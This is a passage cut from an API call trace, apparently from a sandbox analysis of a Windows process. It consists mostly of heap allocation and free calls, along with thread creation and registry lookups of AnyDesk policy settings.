(HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4abd8 [0194.320] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4b8e0 [0194.599] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x36) returned 0xe320b8 [0194.599] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4abd8 | out: hHeap=0x3b0000) returned 1 [0194.599] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xe) returned 0xe55168 [0194.599] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55198 | out: hHeap=0x3b0000) returned 1 [0194.600] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe32878 | out: hHeap=0x3b0000) returned 1 [0194.600] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x34) returned 0xe32878 [0194.600] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe32878 | out: hHeap=0x3b0000) returned 1 [0194.600] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe559b8 [0194.600] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe559f0 [0194.600] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe559b8 | out: hHeap=0x3b0000) returned 1 [0194.600] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4abd8 [0194.600] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4abc8 [0194.600] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ab78 [0194.601] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4abc8 | out: hHeap=0x3b0000) returned 1 [0194.601] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4abd8 | out: hHeap=0x3b0000) returned 1 [0194.601] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4abd8 [0194.601] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4b8c0 [0194.601] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe559b8 [0194.601] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x50) returned 0xe4e3b0 [0194.601] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe33348 | out: hHeap=0x3b0000) returned 1 [0194.601] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4abd8 | out: hHeap=0x3b0000) returned 1 [0194.601] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4abd8 [0194.601] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab78 | out: hHeap=0x3b0000) returned 1 [0194.602] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe559f0 | out: hHeap=0x3b0000) returned 1 [0194.602] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1f868 | out: hHeap=0x3b0000) returned 1 [0194.602] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55078 | out: hHeap=0x3b0000) returned 1 [0194.602] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2fc18 | out: hHeap=0x3b0000) returned 1 [0194.602] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55180 | out: hHeap=0x3b0000) returned 1 [0194.603] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe558d8 | out: hHeap=0x3b0000) returned 1 [0194.603] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55090 | out: hHeap=0x3b0000) returned 1 [0194.603] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2fcb8 | out: hHeap=0x3b0000) returned 1 [0194.603] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe550a8 | out: hHeap=0x3b0000) returned 1 [0194.603] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4e358 | out: hHeap=0x3b0000) returned 1 [0194.603] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe550c0 | out: hHeap=0x3b0000) returned 1 [0194.604] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe160e0 | out: hHeap=0x3b0000) returned 1 [0194.604] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe550d8 | out: hHeap=0x3b0000) returned 1 [0194.604] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe26998 | out: hHeap=0x3b0000) returned 1 [0194.604] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe550f0 | out: hHeap=0x3b0000) returned 1 [0194.604] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe34ac8 | out: hHeap=0x3b0000) returned 1 [0194.604] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55108 | out: hHeap=0x3b0000) returned 1 [0194.605] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe155a0 | out: hHeap=0x3b0000) returned 1 [0194.605] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55120 | out: hHeap=0x3b0000) returned 1 [0194.605] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2fd08 | out: hHeap=0x3b0000) returned 1 [0194.605] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55138 | out: hHeap=0x3b0000) returned 1 [0194.606] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe32778 | out: hHeap=0x3b0000) returned 1 [0194.606] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55150 | out: hHeap=0x3b0000) returned 1 [0194.606] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4d618 | out: hHeap=0x3b0000) returned 1 [0194.606] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4d448 | out: hHeap=0x3b0000) returned 1 [0194.606] UnlockFileEx (in: hFile=0x244, dwReserved=0x0, nNumberOfBytesToUnlockLow=0xffffffff, nNumberOfBytesToUnlockHigh=0xffffffff, lpOverlapped=0x2a7b5b8 | out: lpOverlapped=0x2a7b5b8) returned 1 [0194.606] CloseHandle (hObject=0x244) returned 1 [0194.607] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2fb28 | out: hHeap=0x3b0000) returned 1 [0194.607] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab78 [0194.607] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab78 | out: hHeap=0x3b0000) returned 1 [0194.607] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ab78 [0194.607] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac68 | out: hHeap=0x3b0000) returned 1 [0194.607] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe25718 | out: hHeap=0x3b0000) returned 1 [0194.607] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe33778 | out: hHeap=0x3b0000) returned 1 [0194.607] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab78 | out: hHeap=0x3b0000) returned 1 [0194.607] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab78 [0194.607] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab78 | out: hHeap=0x3b0000) returned 1 [0194.607] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ab78 [0194.607] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac98 | out: hHeap=0x3b0000) returned 1 [0194.607] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55980 | out: hHeap=0x3b0000) returned 1 [0194.607] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4bac0 | out: hHeap=0x3b0000) returned 1 [0194.607] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab78 | out: hHeap=0x3b0000) returned 1 [0194.607] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab78 [0194.608] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab78 | out: hHeap=0x3b0000) returned 1 [0194.608] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ab78 [0194.608] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac28 | out: hHeap=0x3b0000) returned 1 [0194.608] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55788 | out: hHeap=0x3b0000) returned 1 [0194.608] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4b9e0 | out: hHeap=0x3b0000) returned 1 [0194.608] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab78 | out: hHeap=0x3b0000) returned 1 [0194.608] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab78 [0194.608] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab78 | out: hHeap=0x3b0000) returned 1 [0194.608] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ab78 [0194.608] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac38 | out: hHeap=0x3b0000) returned 1 [0194.608] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe10870 | out: hHeap=0x3b0000) returned 1 [0194.608] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ba00 | out: hHeap=0x3b0000) returned 1 [0194.608] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab78 | out: hHeap=0x3b0000) returned 1 [0194.608] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab78 [0194.608] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab78 | out: hHeap=0x3b0000) returned 1 [0194.608] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x52) returned 0xe155a0 [0194.608] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe15fc0 | out: hHeap=0x3b0000) returned 1 [0194.608] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe11668 | out: hHeap=0x3b0000) returned 1 [0194.608] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe33798 | out: hHeap=0x3b0000) returned 1 [0194.609] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe155a0 | out: hHeap=0x3b0000) returned 1 [0194.609] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab78 [0194.609] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab78 | out: hHeap=0x3b0000) returned 1 [0194.609] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ab78 [0194.609] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac48 | out: hHeap=0x3b0000) returned 1 [0194.609] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe12ec0 | out: hHeap=0x3b0000) returned 1 [0194.609] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ba20 | out: hHeap=0x3b0000) returned 1 [0194.609] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab78 | out: hHeap=0x3b0000) returned 1 [0194.609] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab78 [0194.609] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab78 | out: hHeap=0x3b0000) returned 1 [0194.609] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ab78 [0194.609] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac78 | out: hHeap=0x3b0000) returned 1 [0194.609] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe05420 | out: hHeap=0x3b0000) returned 1 [0194.609] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ba60 | out: hHeap=0x3b0000) returned 1 [0194.609] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab78 | out: hHeap=0x3b0000) returned 1 [0194.609] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab78 [0194.609] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab78 | out: hHeap=0x3b0000) returned 1 [0194.609] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ab78 [0194.609] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac88 | out: hHeap=0x3b0000) returned 1 [0194.610] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe11f48 | out: hHeap=0x3b0000) returned 1 [0194.610] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ba80 | out: hHeap=0x3b0000) returned 1 [0194.610] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab78 | out: hHeap=0x3b0000) returned 1 [0194.610] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab78 [0194.610] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab78 | out: hHeap=0x3b0000) returned 1 [0194.610] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xe) returned 0xe55150 [0194.610] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe551b0 | out: hHeap=0x3b0000) returned 1 [0194.610] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe32838 | out: hHeap=0x3b0000) returned 1 [0194.610] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4baa0 | out: hHeap=0x3b0000) returned 1 [0194.610] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55150 | out: hHeap=0x3b0000) returned 1 [0194.610] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab78 [0194.610] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab78 | out: hHeap=0x3b0000) returned 1 [0194.610] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ab78 [0194.610] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac18 | out: hHeap=0x3b0000) returned 1 [0194.610] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe10b40 | out: hHeap=0x3b0000) returned 1 [0194.610] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4b9c0 | out: hHeap=0x3b0000) returned 1 [0194.610] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab78 | out: hHeap=0x3b0000) returned 1 [0194.610] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab78 [0194.610] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab78 | out: hHeap=0x3b0000) returned 1 [0194.610] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ab78 [0194.610] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac58 | out: hHeap=0x3b0000) returned 1 [0194.611] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe12158 | out: hHeap=0x3b0000) returned 1 [0194.611] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ba40 | out: hHeap=0x3b0000) returned 1 [0194.611] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab78 | out: hHeap=0x3b0000) returned 1 [0194.611] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe12c00 | out: hHeap=0x3b0000) returned 1 [0194.611] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe54a68 | out: hHeap=0x3b0000) returned 1 [0194.611] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe54aa8 | out: hHeap=0x3b0000) returned 1 [0194.611] SwitchToFiber (lpFiber=0x5c4f98) [0194.611] WaitForMultipleObjects (nCount=0x5, lpHandles=0x36cc0c*=0x1b8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x2 [0194.611] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe55150 [0194.612] QueryPerformanceCounter (in: lpPerformanceCount=0x271f730 | out: lpPerformanceCount=0x271f730*=2583362775437) returned 1 [0194.612] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ab78 [0194.612] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55150 | out: hHeap=0x3b0000) returned 1 [0194.612] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab78 | out: hHeap=0x3b0000) returned 1 [0194.612] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55150 [0194.612] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe551b0 [0194.612] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55138 [0194.612] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55120 [0194.612] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55108 [0194.612] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe550f0 [0194.612] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4b4d8 | out: hHeap=0x3b0000) returned 1 [0194.612] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4b490 | out: hHeap=0x3b0000) returned 1 [0194.612] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4b3d0 | out: hHeap=0x3b0000) returned 1 [0194.612] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe54f88 | out: hHeap=0x3b0000) returned 1 [0194.613] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55000 | out: hHeap=0x3b0000) returned 1 [0194.613] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55048 | out: hHeap=0x3b0000) returned 1 [0194.613] QueryPerformanceFrequency (in: lpFrequency=0x271f74c | out: lpFrequency=0x271f74c*=100000000) returned 1 [0194.613] QueryPerformanceCounter (in: lpPerformanceCount=0x271f74c | out: lpPerformanceCount=0x271f74c*=2583362889866) returned 1 [0194.613] SwitchToFiber (lpFiber=0x5ca428) [0194.613] GetTickCount () returned 0x1880ca5 [0194.613] GetLastError () returned 0xb7 [0194.614] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x752b0000 [0194.777] GetCurrentThreadId () returned 0xa0c [0194.777] SetLastError (dwErrCode=0xb7) [0194.777] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe55048 [0194.777] GetLastError () returned 0x0 [0194.778] GetSystemTime (in: lpSystemTime=0x2b9fa14 | out: lpSystemTime=0x2b9fa14*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x16, wMilliseconds=0x38f)) [0194.778] GetCurrentThreadId () returned 0xa0c [0194.778] GetCurrentProcessId () returned 0x994 [0194.778] GetLastError () returned 0x0 [0194.778] SwitchToFiber (lpFiber=0x5c4f98) [0194.778] SwitchToFiber (lpFiber=0x5ca728) [0194.778] GetTickCount () returned 0x1880ce3 [0194.778] GetLastError () returned 0x0 [0194.779] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x752b0000 [0194.779] GetCurrentThreadId () returned 0xa0c [0194.779] SetLastError (dwErrCode=0x0) [0194.780] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x17) returned 0xe54aa8 [0194.780] GetLastError () returned 0x0 [0194.780] GetSystemTime (in: lpSystemTime=0x2e1f4fc | out: lpSystemTime=0x2e1f4fc*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x16, wMilliseconds=0x38f)) [0194.780] GetCurrentThreadId () returned 0xa0c [0194.780] GetCurrentProcessId () returned 0x994 [0194.780] GetLastError () returned 0x0 [0194.780] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x143ee60, lpParameter=0x2e1f864, dwCreationFlags=0x4, lpThreadId=0x2e1f878 | out: lpThreadId=0x2e1f878*=0xb18) returned 0x250 [0194.782] ResumeThread (hThread=0x250) returned 0x1 [0194.782] WaitForSingleObject (hHandle=0x24c, dwMilliseconds=0xffffffff) returned 0x0 [0194.798] CloseHandle (hObject=0x24c) returned 1 [0194.798] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe55000 [0194.798] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab78 [0194.798] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19daa20, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 21 [0194.798] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe55788 [0194.798] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19daa20, cbMultiByte=-1, lpWideCharStr=0xe55788, cchWideChar=21 | out: lpWideCharStr="ad.anynet.last_relay") returned 21 [0194.798] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0194.798] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac58 [0194.798] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0xe4ac58, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0194.799] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac18 [0194.799] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0194.799] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ac88 [0194.799] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0xe4ac88, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0194.799] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac88 | out: hHeap=0x3b0000) returned 1 [0194.799] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x31) returned 0xe32838 [0194.799] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x22) returned 0xe33348 [0194.799] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe32838 | out: hHeap=0x3b0000) returned 1 [0194.799] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac88 [0194.799] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe54a68 [0194.799] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe55980 [0194.799] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac88 | out: hHeap=0x3b0000) returned 1 [0194.799] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac18 | out: hHeap=0x3b0000) returned 1 [0194.799] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x22) returned 0xe334c8 [0194.799] RegQueryValueExW (in: hKey=0x0, lpValueName="anynet.lastrelay", lpReserved=0x0, lpType=0x2e1f2c0, lpData=0x0, lpcbData=0x2e1f2c4*=0x0 | out: lpType=0x2e1f2c0*=0x0, lpData=0x0, lpcbData=0x2e1f2c4*=0x0) returned 0x6 [0194.799] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x2e1f2ec | out: phkResult=0x2e1f2ec*=0x0) returned 0x2 [0194.800] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe334c8 | out: hHeap=0x3b0000) returned 1 [0194.800] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac18 [0194.800] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0194.800] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ac88 [0194.800] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0xe4ac88, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0194.800] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac88 | out: hHeap=0x3b0000) returned 1 [0194.800] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x31) returned 0xe32838 [0194.800] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x22) returned 0xe334c8 [0194.801] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe32838 | out: hHeap=0x3b0000) returned 1 [0194.801] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac88 [0194.801] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4ba40 [0194.801] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe558d8 [0194.801] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac88 | out: hHeap=0x3b0000) returned 1 [0194.801] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac18 | out: hHeap=0x3b0000) returned 1 [0194.801] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x22) returned 0xe33528 [0194.801] RegQueryValueExW (in: hKey=0x0, lpValueName="anynet.lastrelay", lpReserved=0x0, lpType=0x2e1f2c0, lpData=0x0, lpcbData=0x2e1f2c4*=0x0 | out: lpType=0x2e1f2c0*=0x0, lpData=0x0, lpcbData=0x2e1f2c4*=0x0) returned 0x6 [0194.801] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x2e1f2ec | out: phkResult=0x2e1f2ec*=0x0) returned 0x2 [0194.801] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe33528 | out: hHeap=0x3b0000) returned 1 [0194.801] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab78 | out: hHeap=0x3b0000) returned 1 [0194.801] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab78 [0194.801] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac58 | out: hHeap=0x3b0000) returned 1 [0194.802] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55788 | out: hHeap=0x3b0000) returned 1 [0194.802] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac58 [0194.802] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac18 [0194.802] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac58 | out: hHeap=0x3b0000) returned 1 [0194.802] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac58 [0194.802] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac18 | out: hHeap=0x3b0000) returned 1 [0194.802] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac18 [0194.802] 